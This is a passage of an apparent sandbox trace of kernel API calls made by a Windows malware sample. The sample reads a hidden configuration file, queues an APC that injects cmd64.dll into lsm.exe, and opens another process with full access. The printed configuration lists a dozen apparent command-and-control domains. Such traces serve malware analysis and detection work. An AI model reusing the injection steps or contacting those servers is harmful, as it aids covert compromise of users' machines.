Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.991] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.991] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.991] IdePortDispatch () returned 0x103 [0073.991] KeWaitForMutexObject () returned 0x0 [0073.991] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.991] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.991] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.991] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.991] IdePortDispatch () returned 0x103 [0073.991] KeWaitForMutexObject () returned 0x0 [0073.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.992] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.992] IdePortDispatch () returned 0x103 [0073.992] KeWaitForMutexObject () returned 0x0 [0073.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.992] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.992] IdePortDispatch () returned 0x103 [0073.992] KeWaitForMutexObject () returned 0x0 [0073.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.992] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.992] IdePortDispatch () returned 0x103 [0073.992] KeWaitForMutexObject () returned 0x0 [0073.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.993] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.993] IdePortDispatch () returned 0x103 [0073.993] KeWaitForMutexObject () returned 0x0 [0073.993] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.993] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.993] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.993] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.993] IdePortDispatch () returned 0x103 [0073.993] KeWaitForMutexObject () returned 0x0 [0073.993] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.993] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.993] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.993] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.993] IdePortDispatch () returned 0x103 [0073.993] KeWaitForMutexObject () returned 0x0 [0073.993] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.993] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.993] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.993] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.993] IdePortDispatch () returned 0x103 [0073.994] KeWaitForMutexObject () returned 0x0 [0073.994] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.994] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.994] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.994] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.994] IdePortDispatch () returned 0x103 [0073.994] KeWaitForMutexObject () returned 0x0 [0073.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.994] KeLeaveCriticalRegion () [0073.994] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.994] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff80000240, BaseAddress=0xfffff88002f8fae0, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae0*=0x10000, RegionSize=0xfffff88002f8f9f0*=0x14000) returned 0x0 [0073.995] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0073.995] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f8fad8 | out: Size=0xfffff88002f8fad8) returned 0x0 [0073.995] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff80000240, BaseAddress=0xfffff88002f8fae8, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae8*=0x50000, RegionSize=0xfffff88002f8f9f8*=0x1000) returned 0x0 [0073.995] _snprintf (in: _Dest=0x50020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0073.995] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa8003550510 [0073.995] KeInitializeApc (Apc=0xfffffa8003550510, Thread=0xfffffa8003564b60, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x50128, Mode=0xfffff88000000001, Context=0x50000) [0073.995] KeInsertQueueApc (Apc=0xfffffa8003550510, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0073.995] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0073.995] ZwClose (Handle=0x14) returned 0x0 [0073.995] ZwClose (Handle=0xffffffff80000238) returned 0x0 [0073.995] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0073.995] KeEnterCriticalRegion () [0073.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.995] IoGetRequestorProcess (Irp=0xfffffa80021e92b0) returned 0xfffffa80018ab040 [0073.995] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa8003570830, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0073.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.995] KeLeaveCriticalRegion () [0073.995] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.995] KeUnstackDetachProcess (ApcState=0xfffff88002f8fa58) [0073.995] PsGetProcessImageFileName () returned 0xfffffa80035607a0 [0073.995] _snprintf (in: _Dest=0xfffffa80035706a8, _Count=0x103, _Format="%s (x64)" | out: _Dest="lsm.exe (x64)") returned 13 [0073.995] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0073.995] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff80000238, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0073.995] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.995] KeEnterCriticalRegion () [0073.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.995] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0073.995] IdePortDispatch () returned 0x103 [0073.995] KeWaitForMutexObject () returned 0x0 [0073.996] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0073.996] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0073.996] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0073.996] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0073.996] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800356f090 [0073.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.996] KeLeaveCriticalRegion () [0073.996] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.996] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0073.996] NtLockFile (in: FileHandle=0xffffffff80000238, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x80000, ByteOffset=0x80010, Length=0x80018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x80000) returned 0x0 [0073.996] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.996] KeEnterCriticalRegion () [0073.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.996] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80021e92b0, Context=0x0) returned 0x0 [0073.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.996] KeLeaveCriticalRegion () [0073.996] ZwQueryInformationFile (in: FileHandle=0xffffffff80000238, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0073.996] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.996] KeEnterCriticalRegion () [0073.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.996] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.996] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.996] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.996] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0073.996] IdePortDispatch () returned 0x103 [0073.996] KeWaitForMutexObject () returned 0x0 [0073.997] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0073.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.997] KeLeaveCriticalRegion () [0073.997] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.997] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a006584910 [0073.997] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0073.997] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0073.997] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="lsm.exe (x64)=") returned 14 [0073.997] _strlwr (in: _Str="lsm.exe (x64)=" | out: _Str="lsm.exe (x64)=") returned="lsm.exe (x64)=" [0073.997] ZwReadFile (in: FileHandle=0xffffffff80000238, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a006584910, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a006584910*) returned 0x0 [0073.997] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.997] KeEnterCriticalRegion () [0073.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.997] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b9e910 [0073.997] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.997] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800d30e960 [0073.997] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0073.997] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0073.997] IdePortDispatch () returned 0x103 [0073.998] KeWaitForMutexObject () returned 0x0 [0073.998] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0073.998] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.998] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800d30e960 [0073.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0073.998] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0073.998] IdePortDispatch () returned 0x103 [0073.998] KeWaitForMutexObject () returned 0x0 [0073.998] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.998] KeLeaveCriticalRegion () [0073.998] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.998] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0073.998] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="lsm.exe (x64)=") returned 0x0 [0073.998] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0073.998] ExFreePoolWithTag (P=0xfffff8a006584910, Tag=0x0) [0073.998] ZwClose (Handle=0xffffffff80000238) returned 0x0 [0073.998] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.998] KeEnterCriticalRegion () [0073.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.998] IoGetRequestorProcess (Irp=0xfffffa80021e92b0) returned 0xfffffa80018ab040 [0073.998] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa800356fac0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0073.998] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.998] KeLeaveCriticalRegion () [0073.998] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.998] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.999] KeEnterCriticalRegion () [0073.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.999] ExFreePoolWithTag (P=0xfffffa800356f090, Tag=0x0) [0073.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.999] KeLeaveCriticalRegion () [0073.999] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.999] ZwClose (Handle=0xffffffff80000240) returned 0x0 [0073.999] KeSetEvent (in: Event=0xfffffa8003570380, Increment=0x0, Wait=0 | out: Event=0xfffffa8003570380) returned 0 [0076.405] ZwOpenProcess (in: ProcessHandle=0xfffff88002f8fb70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f8fb30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f8fb20*(UniqueProcess=0x250, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f8fb70*=0xffffffff80000284) returned 0x0 [0076.405] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0076.405] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff80000294, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0076.405] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0076.405] KeEnterCriticalRegion () [0076.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.405] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.405] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.405] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.405] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0076.405] IdePortDispatch () returned 0x103 [0076.405] KeWaitForMutexObject () returned 0x0 [0076.405] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0076.405] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0076.405] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0076.405] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0076.405] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800358ae30 [0076.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.405] KeLeaveCriticalRegion () [0076.405] IofCompleteRequest (Irp=0xfffffa80035c45a0, PriorityBoost=0) [0076.405] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0076.405] NtLockFile (in: FileHandle=0xffffffff80000294, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0076.405] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0076.405] KeEnterCriticalRegion () [0076.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.405] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80035c45a0, Context=0x0) returned 0x0 [0076.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.405] KeLeaveCriticalRegion () [0076.406] ZwQueryInformationFile (in: FileHandle=0xffffffff80000294, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0076.406] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0076.406] KeEnterCriticalRegion () [0076.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.406] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0076.406] IdePortDispatch () returned 0x103 [0076.406] KeWaitForMutexObject () returned 0x0 [0076.406] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0076.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.406] KeLeaveCriticalRegion () [0076.406] IofCompleteRequest (Irp=0xfffffa80035c45a0, PriorityBoost=0) [0076.406] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a000a48660 [0076.406] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0076.406] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0076.406] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0076.406] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0076.406] ZwReadFile (in: FileHandle=0xffffffff80000294, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a000a48660, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a000a48660*) returned 0x0 [0076.406] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: 